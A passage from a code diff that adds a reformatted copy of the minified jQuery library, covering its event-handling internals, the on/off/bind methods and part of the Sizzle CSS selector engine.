), + filter: function (e, n) { + var r, + i, + a, + s = n.button, + u = n.fromElement; + return ( + null == e.pageX && + null != n.clientX && + ((i = e.target.ownerDocument || o), + (a = i.documentElement), + (r = i.body), + (e.pageX = + n.clientX + + ((a && a.scrollLeft) || (r && r.scrollLeft) || 0) - + ((a && a.clientLeft) || (r && r.clientLeft) || 0)), + (e.pageY = + n.clientY + + ((a && a.scrollTop) || (r && r.scrollTop) || 0) - + ((a && a.clientTop) || (r && r.clientTop) || 0))), + !e.relatedTarget && + u && + (e.relatedTarget = u === e.target ? n.toElement : u), + e.which || + s === t || + (e.which = 1 & s ? 1 : 2 & s ? 3 : 4 & s ? 2 : 0), + e + ); + }, + }, + special: { + load: {noBubble: !0}, + click: { + trigger: function () { + return b.nodeName(this, 'input') && + 'checkbox' === this.type && + this.click + ? (this.click(), !1) + : t; + }, + }, + focus: { + trigger: function () { + if (this !== o.activeElement && this.focus) + try { + return this.focus(), !1; + } catch (e) {} + }, + delegateType: 'focusin', + }, + blur: { + trigger: function () { + return this === o.activeElement && this.blur + ? (this.blur(), !1) + : t; + }, + delegateType: 'focusout', + }, + beforeunload: { + postDispatch: function (e) { + e.result !== t && (e.originalEvent.returnValue = e.result); + }, + }, + }, + simulate: function (e, t, n, r) { + var i = b.extend(new b.Event(), n, { + type: e, + isSimulated: !0, + originalEvent: {}, + }); + r ? b.event.trigger(i, null, t) : b.event.dispatch.call(t, i), + i.isDefaultPrevented() && n.preventDefault(); + }, + }), + (b.removeEvent = o.removeEventListener + ? function (e, t, n) { + e.removeEventListener && e.removeEventListener(t, n, !1); + } + : function (e, t, n) { + var r = 'on' + t; + e.detachEvent && + (typeof e[r] === i && (e[r] = null), e.detachEvent(r, n)); + }), + (b.Event = function (e, n) { + return this instanceof b.Event + ? (e && e.type + ? ((this.originalEvent = e), + (this.type = e.type), + (this.isDefaultPrevented = + e.defaultPrevented || + e.returnValue === !1 || + (e.getPreventDefault && e.getPreventDefault()) + ? it + : ot)) + : (this.type = e), + n && b.extend(this, n), + (this.timeStamp = (e && e.timeStamp) || b.now()), + (this[b.expando] = !0), + t) + : new b.Event(e, n); + }), + (b.Event.prototype = { + isDefaultPrevented: ot, + isPropagationStopped: ot, + isImmediatePropagationStopped: ot, + preventDefault: function () { + var e = this.originalEvent; + (this.isDefaultPrevented = it), + e && + (e.preventDefault + ? e.preventDefault() + : (e.returnValue = !1)); + }, + stopPropagation: function () { + var e = this.originalEvent; + (this.isPropagationStopped = it), + e && + (e.stopPropagation && e.stopPropagation(), + (e.cancelBubble = !0)); + }, + stopImmediatePropagation: function () { + (this.isImmediatePropagationStopped = it), + this.stopPropagation(); + }, + }), + b.each( + {mouseenter: 'mouseover', mouseleave: 'mouseout'}, + function (e, t) { + b.event.special[e] = { + delegateType: t, + bindType: t, + handle: function (e) { + var n, + r = this, + i = e.relatedTarget, + o = e.handleObj; + return ( + (!i || (i !== r && !b.contains(r, i))) && + ((e.type = o.origType), + (n = o.handler.apply(this, arguments)), + (e.type = t)), + n + ); + }, + }; + }, + ), + b.support.submitBubbles || + (b.event.special.submit = { + setup: function () { + return b.nodeName(this, 'form') + ? !1 + : (b.event.add( + this, + 'click._submit keypress._submit', + function (e) { + var n = e.target, + r = + b.nodeName(n, 'input') || + b.nodeName(n, 'button') + ? n.form + : t; + r && + !b._data(r, 'submitBubbles') && + (b.event.add( + r, + 'submit._submit', + function (e) { + e._submit_bubble = !0; + }, + ), + b._data(r, 'submitBubbles', !0)); + }, + ), + t); + }, + postDispatch: function (e) { + e._submit_bubble && + (delete e._submit_bubble, + this.parentNode && + !e.isTrigger && + b.event.simulate('submit', this.parentNode, e, !0)); + }, + teardown: function () { + return b.nodeName(this, 'form') + ? !1 + : (b.event.remove(this, '._submit'), t); + }, + }), + b.support.changeBubbles || + (b.event.special.change = { + setup: function () { + return Z.test(this.nodeName) + ? (('checkbox' === this.type || + 'radio' === this.type) && + (b.event.add( + this, + 'propertychange._change', + function (e) { + 'checked' === + e.originalEvent.propertyName && + (this._just_changed = !0); + }, + ), + b.event.add(this, 'click._change', function (e) { + this._just_changed && + !e.isTrigger && + (this._just_changed = !1), + b.event.simulate('change', this, e, !0); + })), + !1) + : (b.event.add( + this, + 'beforeactivate._change', + function (e) { + var t = e.target; + Z.test(t.nodeName) && + !b._data(t, 'changeBubbles') && + (b.event.add( + t, + 'change._change', + function (e) { + !this.parentNode || + e.isSimulated || + e.isTrigger || + b.event.simulate( + 'change', + this.parentNode, + e, + !0, + ); + }, + ), + b._data(t, 'changeBubbles', !0)); + }, + ), + t); + }, + handle: function (e) { + var n = e.target; + return this !== n || + e.isSimulated || + e.isTrigger || + ('radio' !== n.type && 'checkbox' !== n.type) + ? e.handleObj.handler.apply(this, arguments) + : t; + }, + teardown: function () { + return ( + b.event.remove(this, '._change'), !Z.test(this.nodeName) + ); + }, + }), + b.support.focusinBubbles || + b.each({focus: 'focusin', blur: 'focusout'}, function (e, t) { + var n = 0, + r = function (e) { + b.event.simulate(t, e.target, b.event.fix(e), !0); + }; + b.event.special[t] = { + setup: function () { + 0 === n++ && o.addEventListener(e, r, !0); + }, + teardown: function () { + 0 === --n && o.removeEventListener(e, r, !0); + }, + }; + }), + b.fn.extend({ + on: function (e, n, r, i, o) { + var a, s; + if ('object' == typeof e) { + 'string' != typeof n && ((r = r || n), (n = t)); + for (a in e) this.on(a, n, r, e[a], o); + return this; + } + if ( + (null == r && null == i + ? ((i = n), (r = n = t)) + : null == i && + ('string' == typeof n + ? ((i = r), (r = t)) + : ((i = r), (r = n), (n = t))), + i === !1) + ) + i = ot; + else if (!i) return this; + return ( + 1 === o && + ((s = i), + (i = function (e) { + return b().off(e), s.apply(this, arguments); + }), + (i.guid = s.guid || (s.guid = b.guid++))), + this.each(function () { + b.event.add(this, e, i, r, n); + }) + ); + }, + one: function (e, t, n, r) { + return this.on(e, t, n, r, 1); + }, + off: function (e, n, r) { + var i, o; + if (e && e.preventDefault && e.handleObj) + return ( + (i = e.handleObj), + b(e.delegateTarget).off( + i.namespace + ? i.origType + '.' + i.namespace + : i.origType, + i.selector, + i.handler, + ), + this + ); + if ('object' == typeof e) { + for (o in e) this.off(o, n, e[o]); + return this; + } + return ( + (n === !1 || 'function' == typeof n) && ((r = n), (n = t)), + r === !1 && (r = ot), + this.each(function () { + b.event.remove(this, e, r, n); + }) + ); + }, + bind: function (e, t, n) { + return this.on(e, null, t, n); + }, + unbind: function (e, t) { + return this.off(e, null, t); + }, + delegate: function (e, t, n, r) { + return this.on(t, e, n, r); + }, + undelegate: function (e, t, n) { + return 1 === arguments.length + ? this.off(e, '**') + : this.off(t, e || '**', n); + }, + trigger: function (e, t) { + return this.each(function () { + b.event.trigger(e, t, this); + }); + }, + triggerHandler: function (e, n) { + var r = this[0]; + return r ? b.event.trigger(e, n, r, !0) : t; + }, + }), + (function (e, t) { + var n, + r, + i, + o, + a, + s, + u, + l, + c, + p, + f, + d, + h, + g, + m, + y, + v, + x = 'sizzle' + -new Date(), + w = e.document, + T = {}, + N = 0, + C = 0, + k = it(), + E = it(), + S = it(), + A = typeof t, + j = 1 << 31, + D = [], + L = D.pop, + H = D.push, + q = D.slice, + M = + D.indexOf || + function (e) { + var t = 0, + n = this.length; + for (; n > t; t++) if (this[t] === e) return t; + return -1; + }, + _ = '[\\x20\\t\\r\\n\\f]', + F = '(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+', + O = F.replace('w', 'w#'), + B = '([*^$|!~]?=)', + P = + '\\[' + + _ + + '*(' + + F + + ')' + + _ + + '*(?:' + + B + + _ + + '*(?:([\'"])((?:\\\\.|[^\\\\])*?)\\3|(' + + O + + ')|)|)' + + _ + + '*\\]', + R = + ':(' + + F + + ')(?:\\((([\'"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|' + + P.replace(3, 8) + + ')*)|.*)\\)|)', + W = RegExp( + '^' + _ + '+|((?:^|[^\\\\])(?:\\\\.)*)' + _ + '+$', + 'g', + ), + $ = RegExp('^' + _ + '*,' + _ + '*'), + I = RegExp('^' + _ + '*([\\x20\\t\\r\\n\\f>+~])' + _ + '*'), + z = RegExp(R), + X = RegExp('^' + O + '$'), + U = { + ID: RegExp('^#(' + F + ')'), + CLASS: RegExp('^\\.(' + F + ')'), + NAME: RegExp('^\\[name=[\'"]?(' + F + ')[\'"]?\\]'), + TAG: RegExp('^(' + F.replace('w', 'w*') + ')'), + ATTR: RegExp('^' + P), + PSEUDO: RegExp('^' + R), + CHILD: RegExp( + '^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(' + + _ + + '*(even|odd|(([+-]|)(\\d*)n|)' + + _ + + '*(?:([+-]|)' + + _ + + '*(\\d+)|))' + + _ + + '*\\)|)', + 'i', + ), + needsContext: RegExp( + '^' + + _ + + '*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(' + + _ + + '*((?:-\\d)?\\d*)' + + _ + + '*\\)|)(?=[^-]|$)', + 'i', + ), + }, + V = /[\x20\t\r\n\f]*[+~]/, + Y = /^[^{]+\{\s*\[native code/, + J = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, + G = /^(?:input|select|textarea|button)$/i, + Q = /^h\d$/i, + K = /'|\\/g, + Z = /\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g, + et = /\\([\da-fA-F]{1,6}[\x20\t\r\n\f]?|.)/g, + tt = function (e, t) { + var n = '0x' + t - 65536; + return n !== n + ? t + : 0 > n + ? String.fromCharCode(n + 65536) + : String.fromCharCode( + 55296 | (n >> 10), + 56320 | (1023 & n), + ); + }; + try { + q.call(w.documentElement.childNodes, 0)[0].nodeType; + } catch (nt) { + q = function (e) { + var t, + n = []; + while ((t = this[e++])) n.push(t); + return n; + }; + } + function rt(e) { + return Y.test(e + ''); + } + function it() { + var e, + t = []; + return (e = function (n, r) { + return ( + t.push((n += ' ')) > i.cacheLength && + delete e[t.shift()], + (e[n] = r) + ); + }); + } + function ot(e) { + return (e[x] = !0), e; + } + function at(e) { + var t = p.createElement('div'); + try { + return e(t); + } catch (n) { + return !1; + } finally { + t = null; + } + } + function st(e, t, n, r) { + var i, o, a, s, u, l, f, g, m, v; + if ( + ((t ? t.ownerDocument || t : w) !== p && c(t), + (t = t || p), + (n = n || []), + !e || 'string' != typeof e) + ) + return n; + if (1 !== (s = t.nodeType) && 9 !== s) return []; + if (!d && !r) { + if ((i = J.exec(e))) + if ((a = i[1])) { + if (9 === s) { + if ( + ((o = t.getElementById(a)), + !o || !o.parentNode) + ) + return n; + if (o.id === a) return n.push(o), n; + } else if ( + t.ownerDocument && + (o = t.ownerDocument.getElementById(a)) && + y(t, o) && + o.id === a + ) + return n.push(o), n; + } else { + if (i[2]) + return ( + H.apply( + n, + q.call(t.getElementsByTagName(e), 0), + ), + n + ); + if ( + (a = i[3]) && + T.getByClassName && + t.getElementsByClassName + ) + return ( + H.apply( + n, + q.call(t.getElementsByClassName(a), 0), + ), + n + ); + } + if (T.qsa && !h.test(e)) { + if ( + ((f = !0), + (g = x), + (m = t), + (v = 9 === s && e), + 1 === s && 'object' !== t.nodeName.toLowerCase()) + ) { + (l = ft(e)), + (f = t.getAttribute('id')) + ? (g = f.replace(K, '\\$&')) + : t.setAttribute('id', g), + (g = "[id='" + g + "'] "), + (u = l.length); + while (u--) l[u] = g + dt(l[u]); + (m = (V.test(e) && t.parentNode) || t), + (v = l.join(',')); + } + if (v) + try { + return ( + H.apply( + n, + q.call(m.querySelectorAll(v), 0), + ), + n + ); + } catch (b) { + } finally { + f || t.removeAttribute('id'); + } + } + } + return wt(e.replace(W, '$1'), t, n, r); + } + (a = st.isXML = + function (e) { + var t = e && (e.ownerDocument || e).documentElement; + return t ? 'HTML' !== t.nodeName : !1; + }), + (c = st.setDocument = + function (e) { + var n = e ? e.ownerDocument || e : w; + return n !== p && 9 === n.nodeType && n.documentElement + ? ((p = n), + (f = n.documentElement), + (d = a(n)), + (T.tagNameNoComments = at(function (e) { + return ( + e.appendChild(n.createComment('')), + !e.getElementsByTagName('*').length + ); + })), + (T.attributes = at(function (e) { + e.innerHTML = ''; + var t = + typeof e.lastChild.getAttribute( + 'multiple', + ); + return 'boolean' !== t && 'string' !== t; + })), + (T.getByClassName = at(function (e) { + return ( + (e.innerHTML = + ""), + e.getElementsByClassName && + e.getElementsByClassName('e').length + ? ((e.lastChild.className = 'e'), + 2 === + e.getElementsByClassName('e') + .length) + : !1 + ); + })), + (T.getByName = at(function (e) { + (e.id = x + 0), + (e.innerHTML = + "
    "), + f.insertBefore(e, f.firstChild); + var t = + n.getElementsByName && + n.getElementsByName(x).length === + 2 + n.getElementsByName(x + 0).length; + return ( + (T.getIdNotName = !n.getElementById(x)), + f.removeChild(e), + t + ); + })), + (i.attrHandle = at(function (e) { + return ( + (e.innerHTML = ""), + e.firstChild && + typeof e.firstChild.getAttribute !== + A && + '#' === + e.firstChild.getAttribute('href') + ); + }) + ? {} + : { + href: function (e) { + return e.getAttribute('href', 2); + }, + type: function (e) { + return e.getAttribute('type'); + }, + }), + T.getIdNotName + ? ((i.find.ID = function (e, t) { + if ( + typeof t.getElementById !== A && + !d + ) { + var n = t.getElementById(e); + return n && n.parentNode ? [n] : []; + } + }), + (i.filter.ID = function (e) { + var t = e.replace(et, tt); + return function (e) { + return e.getAttribute('id') === t; + }; + })) + : ((i.find.ID = function (e, n) { + if ( + typeof n.getElementById !== A && + !d + ) { + var r = n.getElementById(e); + return r + ? r.id === e || + (typeof r.getAttributeNode !== + A && + r.getAttributeNode('id') + .value === e) + ? [r] + : t + : []; + } + }), + (i.filter.ID = function (e) { + var t = e.replace(et, tt); + return function (e) { + var n = + typeof e.getAttributeNode !== + A && + e.getAttributeNode('id'); + return n && n.value === t; + }; + })), + (i.find.TAG = T.tagNameNoComments + ? function (e, n) { + return typeof n.getElementsByTagName !== + A + ? n.getElementsByTagName(e) + : t; + } + : function (e, t) { + var n, + r = [], + i = 0, + o = t.getElementsByTagName(e); + if ('*' === e) { + while ((n = o[i++])) + 1 === n.nodeType && r.push(n); + return r; + } + return o; + }), + (i.find.NAME = + T.getByName && + function (e, n) { + return typeof n.getElementsByName !== A + ? n.getElementsByName(name) + : t; + }), + (i.find.CLASS = + T.getByClassName && + function (e, n) { + return typeof n.getElementsByClassName === + A || d + ? t + : n.getElementsByClassName(e); + }), + (g = []), + (h = [':focus']), + (T.qsa = rt(n.querySelectorAll)) && + (at(function (e) { + (e.innerHTML = + ""), + e.querySelectorAll('[selected]') + .length || + h.push( + '\\[' + + _ + + '*(?:checked|disabled|ismap|multiple|readonly|selected|value)', + ), + e.querySelectorAll(':checked') + .length || h.push(':checked'); + }), + at(function (e) { + (e.innerHTML = + ""), + e.querySelectorAll("[i^='']") + .length && + h.push( + '[*^$]=' + _ + '*(?:""|\'\')', + ), + e.querySelectorAll(':enabled') + .length || + h.push(':enabled', ':disabled'), + e.querySelectorAll('*,:x'), + h.push(',.*:'); + })), + (T.matchesSelector = rt( + (m = + f.matchesSelector || + f.mozMatchesSelector || + f.webkitMatchesSelector || + f.oMatchesSelector || + f.msMatchesSelector), + )) && + at(function (e) { + (T.disconnectedMatch = m.call(e, 'div')), + m.call(e, "[s!='']:x"), + g.push('!=', R); + }), + (h = RegExp(h.join('|'))), + (g = RegExp(g.join('|'))), + (y = + rt(f.contains) || f.compareDocumentPosition + ? function (e, t) { + var n = + 9 === e.nodeType + ? e.documentElement + : e, + r = t && t.parentNode; + return ( + e === r || + !( + !r || + 1 !== r.nodeType || + !(n.contains + ? n.contains(r) + : e.compareDocumentPosition && + 16 & + e.compareDocumentPosition( + r, + )) + ) + ); + } + : function (e, t) { + if (t) + while ((t = t.parentNode)) + if (t === e) return !0; + return !1; + }), + (v = f.compareDocumentPosition + ? function (e, t) { + var r; + return e === t + ? ((u = !0), 0) + : (r = + t.compareDocumentPosition && + e.compareDocumentPosition && + e.compareDocumentPosition(t)) + ? 1 & r || + (e.parentNode && + 11 === e.parentNode.nodeType) + ? e === n || y(w, e) + ? -1 + : t === n || y(w, t) + ? 1 + : 0 + : 4 & r + ? -1 + : 1 + : e.compareDocumentPosition + ? -1 + : 1; + } + : function (e, t) { + var r, + i = 0, + o = e.parentNode, + a = t.parentNode, + s = [e], + l = [t]; + if (e === t) return (u = !0), 0; + if (!o || !a) + return e === n + ? -1 + : t === n + ? 1 + : o + ? -1 + : a + ? 1 + : 0; + if (o === a) return ut(e, t); + r = e; + while ((r = r.parentNode)) s.unshift(r); + r = t; + while ((r = r.parentNode)) l.unshift(r); + while (s[i] === l[i]) i++; + return i + ? ut(s[i], l[i]) + : s[i] === w + ? -1 + : l[i] === w + ? 1 + : 0; + }), + (u = !1), + [0, 0].sort(v), + (T.detectDuplicates = u), + p) + : p; + }), + (st.matches = function (e, t) { + return st(e, null, null, t); + }), + (st.matchesSelector = function (e, t) { + if ( + ((e.ownerDocument || e) !== p && c(e), + (t = t.replace(Z, "='$1']")), + !( + !T.matchesSelector || + d || + (g && g.test(t)) || + h.test(t) + )) + ) + try { + var n = m.call(e, t); + if ( + n || + T.disconnectedMatch || + (e.document && 11 !== e.document.nodeType) + ) + return n; + } catch (r) {} + return st(t, p, null, [e]).length > 0; + }), + (st.contains = function (e, t) { + return (e.ownerDocument || e) !== p && c(e), y(e, t); + }), + (st.attr = function (e, t) { + var n; + return ( + (e.ownerDocument || e) !== p && c(e), + d || (t = t.toLowerCase()), + (n = i.attrHandle[t]) + ? n(e) + : d || T.attributes + ? e.getAttribute(t) + : ((n = e.getAttributeNode(t)) || + e.getAttribute(t)) && + e[t] === !0 + ? t + : n && n.specified + ? n.value + : null + ); + }), + (st.error = function (e) { + throw Error('Syntax error, unrecognized expression: ' + e); + }), + (st.uniqueSort = function (e) { + var t, + n = [], + r = 1, + i = 0; + if (((u = !T.detectDuplicates), e.sort(v), u)) { + for (; (t = e[r]); r++) + t === e[r - 1] && (i = n.push(r)); + while (i--) e.splice(n[i], 1); + } + return e; + }); + function ut(e, t) { + var n = t && e, + r = n && (~t.sourceIndex || j) - (~e.sourceIndex || j); + if (r) return r; + if (n) while ((n = n.nextSibling)) if (n === t) return -1; + return e ? 1 : -1; + } + function lt(e) { + return function (t) { + var n = t.nodeName.toLowerCase(); + return 'input' === n && t.type === e; + }; + } + function ct(e) { + return function (t) { + var n = t.nodeName.toLowerCase(); + return ('input' === n || 'button' === n) && t.type === e; + }; + } + function pt(e) { + return ot(function (t) { + return ( + (t = +t), + ot(function (n, r) { + var i, + o = e([], n.length, t), + a = o.length; + while (a--) + n[(i = o[a])] && (n[i] = !(r[i] = n[i])); + }) + ); + }); + } + (o = st.getText = + function (e) { + var t, + n = '', + r = 0, + i = e.nodeType; + if (i) { + if (1 === i || 9 === i || 11 === i) { + if ('string' == typeof e.textContent) + return e.textContent; + for (e = e.firstChild; e; e = e.nextSibling) + n += o(e); + } else if (3 === i || 4 === i) return e.nodeValue; + } else for (; (t = e[r]); r++) n += o(t); + return n; + }), + (i = st.selectors = + { + cacheLength: 50, + createPseudo: ot, + match: U, + find: {}, + relative: { + '>': {dir: 'parentNode', first: !0}, + ' ': {dir: 'parentNode'}, + '+': {dir: 'previousSibling', first: !0}, + '~': {dir: 'previousSibling'}, + }, + preFilter: { + ATTR: function (e) { + return ( + (e[1] = e[1].replace(et, tt)), + (e[3] = (e[4] || e[5] || '').replace( + et, + tt, + )), + '~=' === e[2] && (e[3] = ' ' + e[3] + ' '), + e.slice(0, 4) + ); + }, + CHILD: function (e) { + return ( + (e[1] = e[1].toLowerCase()), + 'nth' === e[1].slice(0, 3) + ? (e[3] || st.error(e[0]), + (e[4] = +(e[4] + ? e[5] + (e[6] || 1) + : 2 * + ('even' === e[3] || + 'odd' === e[3]))), + (e[5] = +( + e[7] + e[8] || 'odd' === e[3] + ))) + : e[3] && st.error(e[0]), + e + ); + }, + PSEUDO: function (e) { + var t, + n = !e[5] && e[2]; + return U.CHILD.test(e[0]) + ? null + : (e[4] + ? (e[2] = e[4]) + : n && + z.test(n) && + (t = ft(n, !0)) && + (t = + n.indexOf(')', n.length - t) - + n.length) && + ((e[0] = e[0].slice(0, t)), + (e[2] = n.slice(0, t))), + e.slice(0, 3)); + }, + }, + filter: { + TAG: function (e) { + return '*' === e + ? function () { + return !0; + } + : ((e = e.replace(et, tt).toLowerCase()), + function (t) { + return ( + t.nodeName && + t.nodeName.toLowerCase() === e + ); + }); + }, + CLASS: function (e) { + var t = k[e + ' ']; + return ( + t || + ((t = RegExp( + '(^|' + _ + ')' + e + '(' + _ + '|$)', + )) && + k(e, function (e) { + return t.test( + e.className || + (typeof e.getAttribute !== + A && + e.getAttribute( + 'class', + )) || + '', + ); + })) + ); + }, + ATTR: function (e, t, n) { + return function (r) { + var i = st.attr(r, e); + return null == i + ? '!=' === t + : t + ? ((i += ''), + '=' === t + ? i === n + : '!=' === t + ? i !== n + : '^=' === t + ? n && 0 === i.indexOf(n) + : '*=' === t + ? n && i.indexOf(n) > -1 + : '$=' === t + ? n && i.slice(-n.length) === n + : '~=' === t + ? (' ' + i + ' ').indexOf(n) > -1 + : '|=' === t + ? i === n || + i.slice(0, n.length + 1) === + n + '-' + : !1) + : !0; + }; + }, + CHILD: function (e, t, n, r, i) { + var o = 'nth' !== e.slice(0, 3), + a = 'last' !== e.slice(-4), + s = 'of-type' === t; + return 1 === r && 0 === i + ? function (e) { + return !!e.parentNode; + } + : function (t, n, u) { + var l, + c, + p, + f, + d, + h, + g = + o !== a + ? 'nextSibling' + : 'previousSibling', + m = t.parentNode, + y = s && t.nodeName.toLowerCase(), + v = !u && !s; + if (m) { + if (o) { + while (g) { + p = t; + while ((p = p[g])) + if ( + s + ? p.nodeName.toLowerCase() === + y + : 1 === + p.nodeType + ) + return !1; + h = g = + 'only' === e && + !h && + 'nextSibling'; + } + return !0; + } + if ( + ((h = [ + a + ? m.firstChild + : m.lastChild, + ]), + a && v) + ) { + (c = m[x] || (m[x] = {})), + (l = c[e] || []), + (d = l[0] === N && l[1]), + (f = l[0] === N && l[2]), + (p = + d && m.childNodes[d]); + while ( + (p = + (++d && p && p[g]) || + (f = d = 0) || + h.pop()) + ) + if ( + 1 === p.nodeType && + ++f && + p === t + ) { + c[e] = [N, d, f]; + break; + } + } else if ( + v && + (l = (t[x] || (t[x] = {}))[ + e + ]) && + l[0] === N + ) + f = l[1]; + else + while ( + (p = + (++d && p && p[g]) || + (f = d = 0) || + h.pop()) + ) + if ( + (s + ? p.nodeName.toLowerCase() === + y + : 1 === + p.nodeType) && + ++f && + (v && + ((p[x] || + (p[x] = {}))[ + e + ] = [N, f]), + p === t) + ) + break; + return ( + (f -= i), + f === r || + (0 === f % r && + f / r >= 0) + ); + } + }; + }, + PSEUDO: function (e, t) { + var n, + r = + i.pseudos[e] || + i.setFilters[e.toLowerCase()] || + st.error('unsupported pseudo: ' + e); + return r[x] + ? r(t) + : r.length > 1 + ? ((n = [e, e, '', t]), + i.setFilters.hasOwnProperty( + e.toLowerCase(), + ) + ? ot(function (e, n) { + var i, + o = r(e, t), + a = o.length; + while (a--) + (i = M.call(e, o[a])), + (e[i] = !(n[i] = o[a])); + }) + : function (e) { + return r(e, 0, n); + }) + : r; + }, + }, + pseudos: { + not: ot(function (e) { + var t = [], + n = [], + r = s(e.replace(W, '$1')); + return r[x] + ? ot(function (e, t, n, i) { + var o, + a = r(e, null, i, []), + s = e.length; + while (s--) + (o = a[s]) && + (e[s] = !(t[s] = o)); + }) + : function (e, i, o) { + return ( + (t[0] = e), + r(t, null, o, n), + !n.pop() + ); + }; + }), + has: ot(function (e) { + return function (t) { + return st(e, t).length > 0; + }; + }), + contains: ot(function (e) { + return function (t) { + return ( + ( + t.textContent || + t.innerText || + o(t) + ).indexOf(e) > -1 + ); + }; + }), + lang: ot(function (e) { + return ( + X.test(e || '') || + st.error('unsupported lang: ' + e), + (e = e.replace(et, tt).toLowerCase()), + function (t) { + var n; + do + if ( + (n = d + ? t.getAttribute( + 'xml:lang', + ) || + t.getAttribute('lang') + : t.lang) + ) + return ( + (n = n.toLowerCase()), + n === e || + 0 === n.indexOf(e + '-') + ); + while ( + (t = t.parentNode) && + 1 === t.nodeType + ); + return !1; + } + ); + }), + target: function (t) { + var n = e.location && e.location.hash; + return n && n.slice(1) === t.id; + }, + root: function (e) { + return e === f; + }, + focus: function (e) { + return ( + e === p.activeElement && + (!p.hasFocus || p.hasFocus()) && + !!(e.type || e.href || ~e.tabIndex) + ); + }, + enabled: function (e) { + return e.disabled === !1; + }, + disabled: function (e) { + return e.disabled === !0; + }, + checked: function (e) { + var t = e.nodeName.toLowerCase(); + return ( + ('input' === t && !!e.checked) || + ('option' === t && !!e.selected) + ); + }, + selected: function (e) { + return ( + e.parentNode && e.parentNode.selectedIndex, + e.selected === !0 + ); + }, + empty: function (e) { + for (e = e.firstChild; e; e = e.nextSibling) + if ( + e.nodeName > '@' || + 3 === e.nodeType || + 4 === e.nodeType + ) + return !1; + return !0; + }, + parent: function (e) { + return !i.pseudos.empty(e); + }, + header: function (e) { + return Q.test(e.nodeName); + }, + input: function (e) { + return G.test(e.nodeName); + }, + button: function (e) { + var t = e.nodeName.toLowerCase(); + return ( + ('input' === t && 'button' === e.type) || + 'button' === t + ); + }, + text: function (e) { + var t; + return ( + 'input' === e.nodeName.toLowerCase() && + 'text' === e.type && + (null == (t = e.getAttribute('type')) || + t.toLowerCase() === e.type) + ); + }, + first: pt(function () { + return [0]; + }), + last: pt(function (e, t) { + return [t - 1]; + }), + eq: pt(function (e, t, n) { + return [0 > n ? n + t : n]; + }), + even: pt(function (e, t) { + var n = 0; + for (; t > n; n += 2) e.push(n); + return e; + }), + odd: pt(function (e, t) { + var n = 1; + for (; t > n; n += 2) e.push(n); + return e; + }), + lt: pt(function (e, t, n) { + var r = 0 > n ? n + t : n; + for (; --r >= 0; ) e.push(r); + return e; + }), + gt: pt(function (e, t, n) { + var r = 0 > n ? n + t : n; + for (; t > ++r; ) e.push(r); + return e; + }), + }, + }); + for (n in { + radio: !0, + checkbox: !0, + file: !0, + password: !0, + image: !0, + }) + i.pseudos[n] = lt(n); + for (n in {submit: !0, reset: !0}) i.pseudos[n] = ct(n); + function ft(e, t) { + var n, + r, + o, + a, + s, + u, + l, + c = E[e + ' ']; + if (c) return t ? 0 : c.slice(0); + (s = e), (u = []), (l = i.preFilter); + while (s) { + (!n || (r = $.exec(s))) && + (r && (s = s.slice(r[0].length) || s), + u.push((o = []))), + (n = !1), + (r = I.exec(s)) && + ((n = r.shift()), + o.push({value: n, type: r[0].replace(W, ' ')}), + (s = s.slice(n.length))); + for (a in i.filter) + !(r = U[a].exec(s)) || + (l[a] && !(r = l[a](r))) || + ((n = r.shift()), + o.push({value: n, type: a, matches: r}), + (s = s.slice(n.length))); + if (!n) break; + } + return t ? s.length : s ? st.error(e) : E(e, u).slice(0); + } + function dt(e) { + var t = 0, + n = e.length, + r = ''; + for (; n > t; t++) r += e[t].value; + return r; + } + function ht(e, t, n) { + var i = t.dir, + o = n && 'parentNode' === i, + a = C++; + return t.first + ? function (t, n, r) { + while ((t = t[i])) + if (1 === t.nodeType || o) return e(t, n, r); + } + : function (t, n, s) { + var u, + l, + c, + p = N + ' ' + a; + if (s) { + while ((t = t[i])) + if ((1 === t.nodeType || o) && e(t, n, s)) + return !0; + } else + while ((t = t[i])) + if (1 === t.nodeType || o) + if ( + ((c = t[x] || (t[x] = {})), + (l = c[i]) && l[0] === p) + ) { + if ((u = l[1]) === !0 || u === r) + return u === !0; + } else if ( + ((l = c[i] = [p]), + (l[1] = e(t, n, s) || r), + l[1] === !0) + ) + return !0; + }; + } + function gt(e) { + return e.length > 1 + ? function (t, n, r) { + var i = e.length; + while (i--) if (!e[i](t, n, r)) return !1; + return !0; + } + : e[0]; + } + function mt(e, t, n, r, i) { + var o, + a = [], + s = 0, + u = e.length, + l = null != t; + for (; u > s; s++) + (o = e[s]) && + (!n || n(o, r, i)) && + (a.push(o), l && t.push(s)); + return a; + } + function yt(e, t, n, r, i, o) { + return ( + r && !r[x] && (r = yt(r)), + i && !i[x] && (i = yt(i, o)), + ot(function (o, a, s, u) { + var l, + c, + p, + f = [], + d = [], + h = a.length, + g = o || xt(t || '*', s.nodeType ? [s] : s, []), + m = !e || (!o && t) ? g : mt(g, f, e, s, u), + y = n ? (i || (o ? e : h || r) ? [] : a) : m; + if ((n && n(m, y, s, u), r)) { + (l = mt(y, d)), r(l, [], s, u), (c = l.length); + while (c--) + (p = l[c]) && (y[d[c]] = !(m[d[c]] = p)); + } + if (o) { + if (i || e) { + if (i) { + (l = []), (c = y.length); + while (c--) + (p = y[c]) && l.push((m[c] = p)); + i(null, (y = []), l, u); + } + c = y.length; + while (c--) + (p = y[c]) && + (l = i ? M.call(o, p) : f[c]) > -1 && + (o[l] = !(a[l] = p)); + } + } else (y = mt(y === a ? y.splice(h, y.length) : y)), i ? i(null, a, y, u) : H.apply(a, y); + }) + ); + } + function vt(e) { + var t, + n, + r, + o = e.length, + a = i.relative[e[0].type], + s = a || i.relative[' '], + u = a ? 1 : 0, + c = ht( + function (e) { + return e === t; + }, + s, + !0, + ), + p = ht( + function (e) { + return M.call(t, e) > -1; + }, + s, + !0, + ), + f = [ + function (e, n, r) { + return ( + (!a && (r || n !== l)) || + ((t = n).nodeType ? c(e, n, r) : p(e, n, r)) + ); + }, + ]; + for (; o > u; u++) + if ((n = i.relative[e[u].type])) f = [ht(gt(f), n)]; + else { + if ( + ((n = i.filter[e[u].type].apply( + null, + e[u].matches, + )), + n[x]) + ) { + for (r = ++u; o > r; r++) + if (i.relative[e[r].type]) break; + return yt( + u > 1 && gt(f), + u > 1 && 